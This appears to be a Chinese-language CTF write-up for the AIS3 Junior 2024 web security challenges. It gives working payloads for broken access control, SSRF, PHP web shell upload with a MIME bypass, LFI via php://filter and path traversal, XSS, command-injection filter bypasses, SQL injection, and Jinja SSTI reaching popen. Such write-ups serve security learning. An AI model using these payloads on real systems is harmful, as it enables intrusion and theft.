---
# System prepended metadata

title: AIS3 Junior 2024 Web Security

---

bac01
===
>用戶名先隨便打，網址會出現
http://ctfd-ais3.crazyfirelee.tw:9001/user
把它改成(有user就有admin，試試admin)
http://ctfd-ais3.crazyfirelee.tw:9001/admin
結果:
![image](https://hackmd.io/_uploads/Bk5n8AR5A.png)

bac02
===
>這題要看規律:
可選的產品網址分別為:
http://ctfd-ais3.crazyfirelee.tw:9002/product/1
http://ctfd-ais3.crazyfirelee.tw:9002/product/2
http://ctfd-ais3.crazyfirelee.tw:9002/product/3
http://ctfd-ais3.crazyfirelee.tw:9002/product/5
由此可推論有隱藏連結:
http://ctfd-ais3.crazyfirelee.tw:9002/product/4
結果:
![image](https://hackmd.io/_uploads/BkUOwAA9C.png)

SRF01
===
>輸入```file:///app/FLAG```->點開原始碼->找到base64加密的字串->到base64解密
>結果:
>![image](https://hackmd.io/_uploads/r1InPCAqC.png)

SRF02
===
>輸入範例網址->輸入 ```http://127.0.0.1/local``` ->
![image](https://hackmd.io/_uploads/HyNt5g0q0.png)
把base64後面的加密文字拿去base64進行解密即可拿到flag
結果:
![image](https://hackmd.io/_uploads/r1-QdCR50.png)

FIL01
===
>上傳檔案(檔案內容:```<?php system($_GET['cmd']);?>```)->點選UPLOAD to SERVER->拿到的網址複製並加上```?cmd=```執行linux指令->```ls ../```->```cat ../FLAG```
>結果:
>![image](https://hackmd.io/_uploads/S1SBO0R5R.png)

FIL02(這題我使用linux解題)
===
>檔名改jpg.php
>開啟linux的Burp Suite並把網址貼上
>![image](https://hackmd.io/_uploads/S1GtZvAcC.png)
>為了讓系統誤判，把上圖紅色部分更改為```image/jpg```
>forward之後就會拿到成功的網址，如下圖:
>![image](https://hackmd.io/_uploads/rkUQzwA5C.png)
>成功後與剛剛步驟相同 尋找FLAG檔案於何處(用cd和ls -la)，即可找到flag
>結果:
>![image](https://hackmd.io/_uploads/HkyddCRcR.png)

LFI01
===
>把圖片後方連結改為```php://filter/read=convert.base64-encode/resource=index.php```
>這樣網址會變成```http://ctfd-ais3.crazyfirelee.tw:9021/include.php?GetType=file_get_contents&file=php://filter/read=convert.base64-encode/resource=index.php```
>把內容拿去base64解碼會看到下圖，找到admin即可看到password
>![image](https://hackmd.io/_uploads/SJwenfC9A.png)
>username=admin，password=CATLOVEBITCOINMEOWMEOW
>結果:
>![image](https://hackmd.io/_uploads/S1gJ5dAAcA.png)


LFI02
===
>要有php檔，檔案內容為```<?php system($_GET['cmd']);?>```，會出現下圖
>![image](https://hackmd.io/_uploads/HyCqED0cA.png)
>網址貼上```http://ctfd-ais3.crazyfirelee.tw:9022/post.php?form=../../../../../tmp/a764c_108.160.138.201.php```
>其中../是為了回到根目錄
>最後用ls和cat查找flag
>結果:
>![image](https://hackmd.io/_uploads/Hypn_005C.png)

XSS01
===
>輸入```<script>alert(FLAG)</script>```，會顯示以下畫面:
>![image](https://hackmd.io/_uploads/rJrU7PC9C.png)
結果:
![image](https://hackmd.io/_uploads/B1-kYCCcA.png)

CMD01
===
>先輸入```;ls -a```(略過前面直接顯示)
>會看到FLAG->```;cat FLAG```即可顯示
>![image](https://hackmd.io/_uploads/SyHZKR05R.png)

CMD02
===
>先輸入```;echo ```(因為ls被限制住了)
>發現有flag,但是cat被限制住了，所以要改輸入```ca\t FLAG```即可得到FLAG'
>結果
>![image](https://hackmd.io/_uploads/HkqfF0C5A.png)

CMD03
===
>由於之前指令都被禁掉，所以網上查到還可使用```|cat${IFS}FLAG*```即可得到FLAG
>結果:
>![image](https://hackmd.io/_uploads/r1bIY0050.png)

CMD06
===
```a|grep${IFS}-r${IFS}AIS3```
結果:
![image](https://hackmd.io/_uploads/HyvhKRRc0.png)

SQL01
===
密碼:由於1=1必為true
所以密碼可輸入'OR'1'='1繞過
![image](https://hackmd.io/_uploads/By2J9ACq0.png)

SQL02
===
進入之後，輸入
```char' UNION SELECT id,username,password,isAdmin from ApexPredators.users#```
"char"可以是任意字串
這段代碼可以找出id、用戶名、密碼、權限
![螢幕擷取畫面 2024-08-17 163759](https://hackmd.io/_uploads/B1ymLRAcR.png)
會有很多個用戶，而其中一個用戶權限最高，在這裡指的就是
```KubenBlisk_ BliskLeader#2024```
所以用戶名=KubenBlisk
密碼=BliskLeader#2024
結果:
![image](https://hackmd.io/_uploads/H1UXcCA5A.png)

STI01
===
>輸入```{{"".__class__.__bases__[0]. __subclasses__()}}```
>class尋找字串 base尋找字串上層object subclasses尋找object中所有東西 會出現下圖
>![image](https://hackmd.io/_uploads/rkj0hB0q0.png)
>因此要初始化object 尋找popen (初始化指令init)
>所以最後指令為```{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat >FLAG').read()}}```
>結果如下圖:
>![image](https://hackmd.io/_uploads/HyGXhS0cA.png)

STI02
===
>輸入>```{{"".__class__.__base__.__subclasses__().__getitem__(410).__init__.__globals__.__getitem__('__built>ins__').__getitem__('eval')('__import__("os").popen("cat FLAG").read()')}}```
>即可拿到flag
>結果:
>![image](https://hackmd.io/_uploads/Hym_9AC5A.png)